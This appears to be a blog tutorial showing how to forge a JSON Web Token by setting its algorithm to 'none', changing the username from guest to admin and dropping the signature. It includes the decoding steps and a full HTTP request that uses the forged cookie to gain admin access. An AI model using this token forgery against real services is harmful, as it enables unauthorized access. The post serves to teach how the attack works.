Friday, February 1, 2019

Security: JSON Web Token Manipulation

Introduction

In this post we are going to manipulate JSON Web Tokens to gain unauthorized access. Click here to learn about the basics of JWT. In this scenario, we have a web server that restricts admin access but allows guest login using JWT. After obtaining the JWT for guest, we can modify the JWT to gain admin access.

JWT consists of three parts separated by "."
  • Header
  • Payload
  • Signature
When we login as guest user we can see the HTTP header as following.
 GET /access/index.php HTTP/1.1  
 Host: example.com  
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0  
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
 Accept-Language: en-US,en;q=0.5  
 Accept-Encoding: gzip, deflate  
 Referer: http://example.com/access/index.php  
 Connection: close  
 Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk  
 Upgrade-Insecure-Requests: 1  
The Cookie contains the JWT:
  1. Header = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
  2. Payload = eyJ1c2VybmFtZSI6Imd1ZXN0In0
  3. Signature = OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk
We check the composition of each components of the JWT as follows.

Header
 >>> import base64  
 >>> encoded = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9'  
 >>> base64.urlsafe_b64decode(encoded)  
 b'{"typ":"JWT","alg":"HS256"}'  
The header is Base64 URL encoded. After decoding: 

Header = {"typ":"JWT","alg":"HS256"}

The first component is type whose value is JWT. The second component is the algorithm used whose value is HS256.

Payload
 >>> encoded = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0=='  
 >>> base64.urlsafe_b64decode(encoded)  
 b'{"username":"guest"}'  
The payload contains the parameter username whose value is guest.

While decoding we have added  "==" for padding. Otherwise we will receive Incorrect Padding error.
 >>> encoded = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0'  
 >>> base64.urlsafe_b64decode(encoded)  
 Traceback (most recent call last):  
  File "<stdin>", line 1, in <module>  
  File "/usr/lib/python3.8/base64.py", line 133, in urlsafe_b64decode  
   return b64decode(s)  
  File "/usr/lib/python3.8/base64.py", line 87, in b64decode  
   return binascii.a2b_base64(s)  
 binascii.Error: Incorrect padding  

Signature
 HMACSHA256(  
  base64UrlEncode(header) + "." +  
  base64UrlEncode(payload),  
  secret)  
The signature is caculated as given above. A secret key is used to encrypt the combination of header and payload in Base64 URL encoded form using HMACSHA256. 


Modify JWT

Now we change the contents of Header and Payload.

Header

 >>> decoded = b'{"typ":"JWT","alg":"none"}'   
 >>> base64.urlsafe_b64encode(decoded)  
 b'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0='  

We have changed the value of algorithm to none.

Payload

 >>> decoded = b'{"username":"admin"}'   
 >>> base64.urlsafe_b64encode(decoded)  
 b'eyJ1c2VybmFtZSI6ImFkbWluIn0='  
Here, we have changed the value of username to admin.


The final HTTP request header when signing in as "admin" will be as follows which will allow us to gain admin access.

 POST /access/index.php HTTP/1.1  
 Host: example.com  
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0  
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
 Accept-Language: en-US,en;q=0.5  
 Accept-Encoding: gzip, deflate  
 Content-Type: application/x-www-form-urlencoded  
 Content-Length: 19  
 Origin: http://example.com  
 Connection: close  
 Referer: http://example.com/access/index.php  
 Upgrade-Insecure-Requests: 1  
 Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIn0.  

We have added the Cookie containing JWT: 

Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIn0.  

Also notice the "  .  " at the end of JWT. We have removed the Signature from the JWT as this will not be necessary.




 

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.